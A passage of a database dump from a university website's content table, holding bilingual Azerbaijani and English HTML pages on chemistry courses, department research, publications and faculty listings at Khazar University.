Halogenli karbohidrogenlər. Spirtlər. Sadə efirlər. Aldehidlər və ketonlar.Karbon turşuları. Mürəkkəb efirlər. Yağlar və piylər. Azotlu üzvi birləşmələr. Tsikloalkanlar və tsikloalkenlər. Aromatik karbohidrogenlər. Fenollar. Kondensləşmiş arenlər. Heterotsiklik birləşmələr.</p><p>&nbsp;</p><p><strong>CHEM 311: Fiziki kimya (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Termodinamikanın prinsipləri və qanunları. Termokimya. Qazlar, mayelər və bərk maddələr. Fiziki xassələr və kimyəvi quruluş arasında əlaqə. Le-Şatelye prinsipi. Fazalar qaydası. Paylanma qanunu. Kataliz. Kimyəvi kinetika. Fotokimya. Adsorbsiya. Qalvanik elementlər. Elektrod potensialı. Elektrik keçiriciliyi. Korroziya, ondan mühafizə.</p><p>&nbsp;</p><p><strong>CHEM 321: Analitik kimya (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Vəsfi analiz üsulları. Fərdi kationların təyini. Kationların analitik qrupları. Kationların qarışıqlarının analizi. Anionların təyini. Anionların analitik qrupları. Miqdari analiz. Həcmi analiz. Neytrallaşdırma üsulları. Oksidləşmə-reduksiya üsulları. Çökdürmə və komplekləşdirmə üsulları. Qravimetriya. Fiziki və fiziki-kimyəvi analiz üsulları.</p><p>&nbsp;</p><p><strong>CHEM320: Yüksəkmolekullu birləşmələr kimyası (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM321</p><p>Polimerlərin quruluşu və xüsusiyyətləri. Polimerləşmə üsullarının əsas növləri. Polimerlərin əsas nümayəndələri. Polimerlərin əsas fiziki-mexaniki xassələri. Polimerlərin məhlulları. Polimerlərin molekul kütləsi, onun növləri və təyini üsulları. Polimerlərin kimyəvi reaksiyaları. Polimerlərin tətbiqi.</p><p><strong>CHEM250: Neft kimyası (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Neftlərin təsnifatı. Neftlərin fiziki-kimyəvi xassələri. Neft komponentlərinin ayrılma üsullar. Neftin tərkibindəki alkanlar, tsikloalkanlar, arenlər və hibrid birləşmələri. Neft karbohidrogenlərinin termiki və termokatalitik çevrilmələri. Oksidləşmə və hidrogenləşmə. Neft məhsullarının təmizlənməsi. Yanacaqların və yağların əsas növləri, onların tərkibi və xassələri.</p><p>&nbsp;</p><p><strong>CHEM 352: Colloid kimyası&nbsp;&nbsp;(3 kredit)</strong></p><p><strong>Prerekviziti: CHEM 311</strong></p><p>Kolloidlərin quruluşu və növləri; köpük, emulsiya, aerosol və gel arasındakı fərqlər; hidrofil və hidrofob kolloidlər; colloid hissəcikləri arasındakı qarşılıqlı təsir qüvvələri, colloid məhlullarının hazırlanması, kolloidlərin stabilləşməsi və destabilləşməsi.</p><p>&nbsp;</p><p><strong>CHEM 417: Ekoloji kimya&nbsp; (3 kredit)</strong></p><p><strong>Prerekviziti: CHEM 201</strong></p><p>Ekoloji kimyanın əsasları, yaşıl kimya, kimyəvi maddələrin hava, su və torpaq mühitində reaksiyalarının, daşınmasının öyrənilməsi; insane fəaliyyətinin ətraf mühitə təsiri; təhlükəli kimyəvi maddələr və onlardan istifadə qaydaları; tullantıların idarə olunması və təkrar emalı.</p>  <br></div>'),(2100,1291,'az',' Xəzər Xəbər   jurnalının 353-cü sayı çapdan çıxdı',' Xəzər Xəbər   jurnalının 353-cü sayı çapdan çıxdı','<p><strong>Xəzər Xəbər jurnalının 353-cü &nbsp;İyul buraxılışı çapdan çıxmışdır. &nbsp;</strong></p><p><strong>&nbsp;</strong></p>'),(2101,1291,'en',' Khazar View magazine’s 353-d edition has been published.','Khazar View magazine’s 353-d July edition has been published.','Khazar View magazine’s 353-d July edition has been published.'),(2102,1290,'en','4 graduates  of Bilasuvar Educational Complex named after  National  hero M. Ibrahimov getting high scores on Entrance exam have chosen Khazar University.',' The State Students Admission Commission announced the results of student’s admission to the Higher Institution of Azerbaijan for 2016-2017...','<div>&nbsp;The State Students Admission Commission announced the results of student’s admission to the Higher Institution of Azerbaijan for 2016-2017 academic year.</div><div>&nbsp;The following 4 of 24 &nbsp;graduates &nbsp;of Bilasuvar Educational Complex named after &nbsp;National &nbsp;hero M. Ibrahimov getting high scores on Entrance exam have entered Khazar University.</div><div>&nbsp;</div><div>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Agshin Kazımlı&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Computer Engineering</div><div>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Umid Nazarov&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Computer Engineering</div><div>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mahammad Mammadli &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp; Computer Engineering</div><div>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ayyub Alizada&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Computer Engineering</div>'),(836,567,'en','Courses','Courses','<div><br></div><div> <div><div style=\"background:undefined \"><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>CHEM 102: Basic Chemistry (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: undergraduate standing</strong></p><p style=\"background:undefined \">The aim of the course is to present knowledge of bioorganic and physical chemistry. It focuses on the basic concepts and principles of general, inorganic and organic chemistry, discussing the main compounds, phenomena, principles and reactions of human metabolism. The main goal is to form an understanding that the principles which are determined in vitro are basic in understanding principles in vivo, taking into account their specificity and integration.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>CHEM 111: Chemistry I (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: NONE</strong></p><p style=\"background:undefined \">A basic course emphasizing the metric system, introduction to atomic theory, stoichiometry, the structural and physical properties of matter (i.e., the electronic structure of atoms, chemical binding, molecular geometry, hybridization and molecular orbitals) and the states of matter (i.e. gases, liquids and solids).</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>CHEM 112: Chemistry II (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 111</strong></p><p style=\"background:undefined \">A discussion of physical properties of solutions in aqueous solutions, chemical kinetics, chemical equilibrium, chemical thermodynamics and electrochemistry. The oxidation-reduction process. Properties of the main elements and their important compounds. The structure and properties of the main organic compounds.</p><p style=\"background:undefined \"><br><strong>CHEM 201: Biochemistry (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 102</strong></p><p style=\"background:undefined \">A one-semester course which studies the structure and properties of the main chemical components of living organisms (proteins, nucleic acids, lipids, carbohydrates), their metabolism, and their role in physiological activity, including modern methods of protein isolation and an investigation of their structure. Structures and biological roles of vitamins, hormones and enzymes, their mechanisms of action, and their regulation of the metabolism of living organisms at the level of specialized organs, kidney, liver, muscle and nerve tissues, connective and epithelial tissues.</p><p style=\"background:undefined \"><br><strong>CHEM 225: Inorganic Chemistry (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 112</strong></p><p style=\"background:undefined \">Atomic structure, the periodic table, inorganic nomenclature, chemical bonds, molecular structure and symmetry, covalent bond, molecular orbital theory, solid state, acids and bases.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>CHEM 250: Oil Chemistry I (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 112</strong></p><p style=\"background:undefined \">General information about the oil and gas industry. Classification of petroleum’s origin. Physicochemical properties of petroleum. Methods of isolation of petroleum components and study of the composition of petroleum and gas. Alkanes of petroleum. Cycloalkanes of petroleum. Arenes and hybrid compounds of petroleum.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>CHEM 251: Oil Chemistry II (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 250</strong></p><p style=\"background:undefined \">Unsaturated hydrocarbons formed in the refinement of oil. Heteroatomatic compounds and mineral components of petroleum. Thermal conversions of hydrocarbons of petroleum and gas. Thermocatalytic conversions of hydrocarbons of petroleum and gas. Oxidation of petroleum hydrocarbons and their derivatives. Hydrogenation processes in oil refinement. Purification of petroleum products. Composition and exploitation properties of the main kinds of fuels and oils.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>CHEM 311: Physical Chemistry (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 112</strong></p><p style=\"background:undefined \">Principles of thermodynamics and its laws. Thermochemistry. Heat effect. Hess law Gaseous of matter, gas laws. Liquids and solids. Relation between physical properties and chemical constitution of matter. Solutions. Le-Chatelier principle for equilibrium. Phase equilibrium. Kinetic regularities of chemical processes. Catalysis. Photochemistry. Colloidal solutions. Adsorption. Electric conductance. Galvanic elements, electrode potentials. Corrosion, protection from it.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>CHEM 320: Chemistry of High-molecular Compounds (Polymer Chemistry)&nbsp;(3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 112</strong></p><p style=\"background:undefined \">Structure and particularities of polymers. Main types of polymerization methods. Main representatives of polymers. Physico-mechanical properties of polymers. Solutions of polymers. Molecular mass of polymers and its determination. Chemical reactions and application of polymers.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>CHEM 352: Colloidal chemistry&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 311</strong></p><p style=\"background:undefined \">Structure and types of colloids; differences between foams, emulsions, aerosols and gels; hydrophilic and hydrophobic colloids; types of interaction between particles in colloids, preparation of colloidal solutions, stabilization and destabilization of colloids.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>CHEM 321: Analytical chemistry&nbsp;&nbsp;&nbsp; (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 112</strong></p><p style=\"background:undefined \">Brief history of analytical chemistry; instrumental methods applied in the analytical chemistry: spectroscopy, mass spectrometry, chromatography, microscopy, thermal analysis, electrochemical analysis; qualitative methods: gravimetric and volumetric analysis; applications of analytic chemistry in industry and science.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>CHEM 417: Ecological chemistry&nbsp; (3 credits)</strong></p><p style=\"background:undefined \"><strong>Prerequisite: CHEM 201</strong></p><p style=\"background:undefined \">Bases of environmental chemistry, green chemistry, study of the sources, reactions, transport, effects, and fates of chemical species in the&nbsp;<a title=\"Earth\'s atmosphere\" href=\"http://en.wikipedia.org/wiki/Earth%27s_atmosphere\">air</a>,&nbsp;<a title=\"Soil\" href=\"http://en.wikipedia.org/wiki/Soil\">soil</a>, and&nbsp;<a title=\"Water body\" href=\"http://en.wikipedia.org/wiki/Water_body\">water</a>&nbsp;environments; the effect of human activity and biological activity on these; dangerous chemicals and ways of its utilization; recycling of wastes.</p><div style=\"background:undefined \"><br></div></div></div></div><br></div>'),(837,568,'en','Research','Research','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Research interests of the department are:</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">· Oil chemistry</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">· Polymer chemistry, i.e. chemistry of high-molecular compounds</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">· Chemical technology</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></p><ul><li>Analytical chemistry</li><li>Colloidal chemistry</li></ul><p></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">· Other</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Research work done by the Department is mainly focused on synthesis, study and application of novel efficient surfactants, especially for implementation in the oil industry. These chemicals are obtained on the basis of higher aliphatic alcohols, higher aliphatic carboxylic acids and their natural fractions, epoxy compounds and ethanolamines. Polymeric surfactants are also synthesized, which are based on unsaturated carboxylic acids, epoxides and (in)organic bases. Spheres of the intended application of these synthesized surfactants are petroleum enhanced recovery, isolation of drilled zones, stabilizers of drilling muds, liquidation of oil slicks and so on.</p>  <br></div>'),(838,568,'az','Tədqiqat','Tədqiqat','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif\">Departamentin tədqiqat maraqları aşağıdakı sahələrlə bağlıdır:</p><p style=\"font-family:arial, helvetica, sans-serif\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neft kimyası</p><p style=\"font-family:arial, helvetica, sans-serif\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Polimerlər (yüksəkmolekullu birləşmələr) kimyası</p><p style=\"font-family:arial, helvetica, sans-serif\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kolloid kimya</p><p style=\"font-family:arial, helvetica, sans-serif\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ekoloji kimya</p><p style=\"font-family:arial, helvetica, sans-serif\">Departamentin əməkdaşları tərəfindən aparılan elmi-tədqiqat işləri əsasən yeni və səmərəli səthi-aktiv reagentlərin alınması, öyrənilməsi və tətbiqi üzrə (xüsusilə neft sənayesində) araşdırmaların aparılmasıdır. Bu reagentlər əsasən tərkibində mütəhərrik hidrogen atomu olan ekoloji zərərsiz xammal növlərinin və geniş sənaye istehsalı olan heterotsiklik birləşmələrin iştirakı ilə alınır. Yüksəkmolekullu səthi-aktiv maddələr doymamış alifatik karbon turşuları, heterotsiklik birləşmələr və (qeyri)üzvi əsaslardan sintez olunur. Bu səthi-aktiv maddələrin nəzərdə tutulan tətbiq sahələri neftin yeraltı laylardan çıxarılma dərəcəsinin yüksəldilməsi, neft quyularının qazılması zamanı su axınlarının izolyasiyası, qazıma məhlullarının fiziki-kimyəvi göstəricilərinin yüksəldilməsi və digərləridir.</p>  <br></div>'),(839,569,'az',' Nəşrlər',' Nəşrlər','<div><br></div><h4><a href=\"http://www.khazar.org/files/pdf/List_of_publications.pdf\">Kərim Eyyubov elmi işlərin siyahısı</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/PublicationList_JM%20(1).docx\">Jestin Mandumpal elmi işlərin siyahısı</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/Publications_of_Revan_Rehimov%20(2).doc\">Rəvan Rəhimov elmi işlərin siyahısı</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/Publications%20(1).docx\">Gülbəniz Muxtarova elmi işlərin siyahısı</a>  <br></h4><div><br></div>'),(841,570,'az','Proqramlar','Proqramlar','<div style=\"font-family:arial, helvetica, sans-serif;color:#0000ff\"><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><span style=\"font-size: large; color: rgb(0, 0, 255);\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media10057107535562126\" width=\"150\" height=\"100\"><a href=\"http://www.khazar.org/az/menus/791/kimya_ve_biologiya_muellimliyi_uzre_bakalavr_derecesi_proqrami\" style=\"font-size:large\">Kimya və Biologiya müəllimliyi üzrə bakalavr dərəcəsi proqramı</a></span></p><br></div><div style=\"font-family:arial, helvetica, sans-serif;color:#0000ff\"><br></div><div><h4 style=\"font-family:arial, helvetica, sans-serif;color:#0000ff\"><a href=\"http://www.khazar.org/files/pdf/Undegraduate%20programme%20in%20Chemistry%20Education%20(1).doc\" style=\"font-size:large;color:#0000ff\">Undegraduate programme in Chemistry Education</a></h4>  <br></div>'),(840,569,'en','Publications','Publications','<div><br></div><h4><a href=\"http://www.khazar.org/files/pdf/List_of_publications.pdf\">Publications of Karim Eyyubov</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/PublicationList_JM%20(1).docx\">Publications of Jestin Mandumpal</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/Publications_of_Revan_Rehimov%20(2).doc\">Publications of Revan Rehimov</a>&nbsp;</h4><h4><a href=\"http://www.khazar.org/files/pdf/Publications%20(1).docx\">Publications of Gulbeniz Mukhtarova</a>&nbsp;</h4><div><br></div><div><br></div>'),(842,570,'en','Programs','Programs','<div><h4><br><span style=\"font-weight:normal\"><br></span></h4><h4><span style=\"font-weight:normal\"><a href=\"http://www.khazar.org/files/pdf/Bachelor_Degree_Program_in_Chemistry_and_Biology_Education.pdf\">The Bachelor Program in Chemistry and Biology Education</a></span></h4><div><br></div></div><div><h4><a href=\"http://www.khazar.org/files/pdf/Undegraduate%20programme%20in%20Chemistry%20Education%20(1).doc\">Undegraduate programme in Chemistry Education</a></h4>  <br></div>'),(843,571,'en','Faculty','Faculty','<div><br></div><div><br></div><div><img src=\"/files/image/15_06_05_karim.jpg\" style=\"width:150px;height:178px;margin:7px;float:left\"><br></div><h4><strong><a href=\"http://www.khazar.org/files/pdf/KARIM_EYYUBOV_CV_eng.pdf\" style=\"font-size:large\">Kerim Eyyubov</a>&nbsp;-&nbsp;</strong><strong>Coordinator of Chemistry Department &nbsp; &nbsp;</strong><strong>&nbsp; &nbsp;</strong></h4><h4><strong></strong><strong>PhD &nbsp;in Chemistry&nbsp;</strong>  <br></h4><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;<br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/15_06_05_ravan.jpg\" style=\"width:150px;height:194px;margin:7px;float:left\"><br></div><h4><strong><a href=\"http://www.khazar.org/files/pdf/Revan_Rahimov_CV.pdf\">Revan Rehimov</a>&nbsp;-&nbsp;Associate Professor&nbsp;</strong></h4><h4><strong></strong><strong><strong>PhD &nbsp;in Chemistry&nbsp;</strong></strong>  <br></h4><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/15_03_06_Capture.JPG\" style=\"border:0px  #000000;width:150px;height:164px;margin:7px;float:left\"><br></div><h4><strong><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\">Jestin Mandumpal</a>&nbsp;-&nbsp;Instructor</strong></h4><h4><strong></strong><strong>&nbsp;<strong><strong>PhD &nbsp;in Computational Chemistry&nbsp;</strong></strong></strong>  <br></h4><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/15_06_05_gulbeniz.jpg\" style=\"border:0px  #000000;width:150px;height:217px;margin:7px;float:left\"><br></div><h4><strong><a href=\"http://www.khazar.org/files/pdf/Gulbeniz_Muxtarova_cv.pdf\">Gulbeniz Mukhtarova</a>&nbsp;-&nbsp;Instructor&nbsp;</strong></h4><h4><strong>&nbsp;</strong><strong>PhD in Chemistry&nbsp;</strong>  <br></h4><div> <div>&nbsp;</div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;<br></div>'),(844,571,'az','Işçi heyət','Işçi heyət','<div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"background:undefined\"><img src=\"/files/image/15_06_05_karim.jpg\" style=\"width:150px;height:178px;margin:7px;float:left\"><br></div><div style=\"font-size:large\"><strong><a href=\"http://www.khazar.org/files/pdf/KARIM_EYYUBOV_CV_eng.pdf\">Kərim Eyyubov</a> -&nbsp;Kimya Departamentinin Koordinatoru</strong> </div><div style=\"font-size:large\"><strong><br></strong></div><div style=\"font-size:large\"><strong>Kimya üzrə elmlər namizədi</strong></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><img src=\"/files/image/15_06_05_ravan.jpg\" style=\"float:left;width:150px;height:194px;margin:7px\"><br></div><div style=\"font-size:large\"><h4><strong><a href=\"http://www.khazar.org/files/pdf/Revan_Rahimov_CV.pdf\">Rəvan Rəhimov </a>-&nbsp;Dosent&nbsp;</strong></h4><p style=\"background:undefined\"><strong></strong></p><h4><strong>Kimya üzrə elmlər namizədi</strong></h4></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><img src=\"/files/image/15_03_06_Capture.JPG\" style=\"width:150px;height:164px;margin:7px;float:left\"></div><div style=\"background:undefined\"><h4><strong><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\">Cestin Mandumpal</a>&nbsp;-&nbsp;Müəllim&nbsp;</strong></h4><p style=\"background:undefined\"><strong>Hesablama kimyası üzrə elmlər namizədi</strong></p></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><img src=\"/files/image/15_06_05_gulbeniz.jpg\" style=\"width:150px;height:217px;margin:7px;float:left\"><br></div><div style=\"background:undefined\"><h4><strong><a href=\"http://www.khazar.org/files/pdf/Gulbeniz_Muxtarova_cv.pdf\">Gülbəniz Muxtarova</a>&nbsp;-&nbsp;Müəllimə &nbsp;</strong></h4><p style=\"background:undefined\"><strong></strong></p><h4><strong>Kimya üzrə elmlər namizədi</strong></h4><p style=\"background:undefined\"><strong></strong></p></div><div style=\"background:undefined\"><div style=\"background:undefined\"><br></div><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\">&nbsp;</div>'),(845,315,'az','Müəllim heyəti','Müəllim heyəti','<p><span style=\"font-family:\'times new roman\', times, serif\"><br></span></p><img src=\"http://www.khazar.org/files/image/15_10_09_DSC_v.jpg\" style=\"float:left;width:150px;height:202px;margin:7px\"><p><span style=\"font-family:\'times new roman\', times, serif\"><strong style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\" style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Hassan Niknafs</a></strong><span style=\"font-size:large;font-family:arial, helvetica, sans-serif\"> - </span><strong style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Professor</strong><br></span></p><p><span style=\"font-family:\'times new roman\', times, serif\"></span><span style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\" style=\"color:#000000\"></a></span><strong style=\"font-family:\'times new roman\', times, serif\"><strong></strong></strong><span style=\"font-weight:normal\"></span><strong>Departamentin&nbsp; koordinatoru</strong></p><p>Mühəndislik və tətbiqi elmlər fakültəsinin dekanı</p><p>Akron Universiteti, Ohayo,ABŞ</p><p>E-poçt: <a href=\"mailto:hniknafs[at]khazar.org\">hniknafs[at]khazar.org <br></a></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><a href=\"mailto:hniknafs[at]khazar.org\"></a><br><p><strong><img src=\"http://www.khazar.org/files/image/14_03_31_nurusafarov.jpg\" style=\"border:0px  #000000;width:150px;height:205px;margin:7px;float:left\"></strong><span style=\"font-weight:normal\"><strong><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\">Nuru&nbsp;Səfərov</a>&nbsp;- Dosent&nbsp;</strong></span><span style=\"font-weight:normal\"></span></p><p><strong>Elektronika və Telekommunikasiya Departamentinin müdiri</strong><br></p><p><span style=\"font-weight:normal\">Ph.D., AMEA, Azərbaycan<br></span></p><p><span style=\"font-weight:normal\">MS, radiofizika və elektronika, Dnepropetrovsk Dövlət Universiteti, Ukrayna<br></span></p><p><span style=\"font-weight:normal\">E-poçt:&nbsp;</span><span style=\"font-weight:normal\"><a href=\"http://mailto:%20nsafarov@khazar.org/\">nsafarov[at]khazar.org<br></a></span></p><p><br><span style=\"font-weight:normal\"><a href=\"http://mailto:%20nsafarov@khazar.org/\"></a></span></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><p><br></p><img src=\"http://www.khazar.org/files/image/14_12_24_Irada_khalilova_2.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:159px;margin-right:7px;margin-bottom:7px;margin-left:7px\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Irada_Khalilova.pdf\">İradə Xəlilova</a>&nbsp;- Dosent</strong></p><p>Ph.D., Azərbaycan Tibb Universiteti</p><p>MS, Molekulyar biologiya və biofizika, Bakı Dövlət Universiteti  <br></p><p>E-poçt: <a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><h4><div style=\"font-family:\'times new roman\', times, serif\"><span style=\"font-weight:bold\"><span style=\"font-weight:normal\"><hr style=\"width:100%;height:1px\" noshade=\"noshade\"></span> <br></span></div><img src=\"/files/image/14_12_24_Mushfiq_Orujov.jpg\" style=\"width:150px;height:168px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\">Müşfiq Orucov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\"></a></strong><span style=\"font-weight:normal\">Ph.D., Azərbaycan Tibb Universiteti</span></p></h4><h4><p><span style=\"font-weight:normal\">MS,&nbsp; Azərbaycan Tibb Universiteti</span></p></h4><h4>  <p><span style=\"font-weight:normal\">E-poçt:&nbsp;</span><span style=\"font-weight:normal\"><a href=\"mailto:morujov@hotmail.com\">morujov[at]hotmail.com</a></span></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><img src=\"/files/image/15_10_09_zaur.jpg\" style=\"width:150px;height:182px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Zaur_Kerimov_CV.pdf\">Zaur Kərimov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Zaur_Kerimov_CV.pdf\"></a></strong><span style=\"font-weight:normal\">Ph.D., biologiya elmləri&nbsp;(AMEA, Mikrobiologiya İnstitutu)</span></p></h4><h4>\r\n<p><span style=\"font-weight:normal\">MS,&nbsp;</span><span style=\"font-weight:normal\">Azərbaycan Tibb Universiteti</span>  </p>  <p><span style=\"font-weight:normal\">E-poçt:&nbsp;</span><span style=\"font-weight:normal\"><a href=\"mailto:morujov@hotmail.com\">zaurkarimov[at]mail.ru</a></span></p><p><br></p></h4>'),(847,308,'az','Fakültə','Fakültə','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\"><img style=\"width:150px;height:194px;margin:7px;float:left\" src=\"/files/engineering/images/Rasim.png\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\">Rasim Bayramlı</a> - Dosent&nbsp;</strong></p><p><strong></strong><strong>İnşaat    Mühəndisliyi departamentinin rəhbəri</strong>  <br></p><p>İnşaat mühəndisliyi üzrə fəl. d. (Moscow Asbestos and Cement Scientific Research Institute, Russia)&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rbayramli@khazar.org\">rbayramli[at]khazar.org</a>  <a href=\"mailto:rbayramli@khazar.org\" style=\"font-weight:bold\"></a>  <a href=\"http://mailto:rbayramli@khazar.org\"></a></p><p><strong>Telefon:</strong>&nbsp;(+994&nbsp;51) 909 06 22  <br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/Zia_S_CV_Sep2018.pdf\"><img src=\"/files/engineering/images/zia.jpg\" style=\"float:left;width:150px;height:108px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Ziaaddin Zamanzadeh</a></strong><br></p><p>PhD in&nbsp;Structural Engineering (University of Minho, Portugal)<br></p><p>Visiting Professor (Khazar University, Azerbaijan)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zzamanzadeh@khazar.org\">zzamanzadeh[at]khazar.org</a></p> <hr><img src=\"http://www.khazar.org/files/engineering/images/mehdi_bashiri.jpg\" style=\"float:left;width:150px;height:147px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/engineering/Mehdi_Bashiri-CV.pdf\">Mehdi Bəşiri</a></strong></p><p>MS in Civil Engineering-Structural Engineering (Sharif University of Technology, Iran)<br></p><p>PhD candidate in Civil Engineering-Structural Engineering (Khazar University, Azerbaijan)<br></p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><a 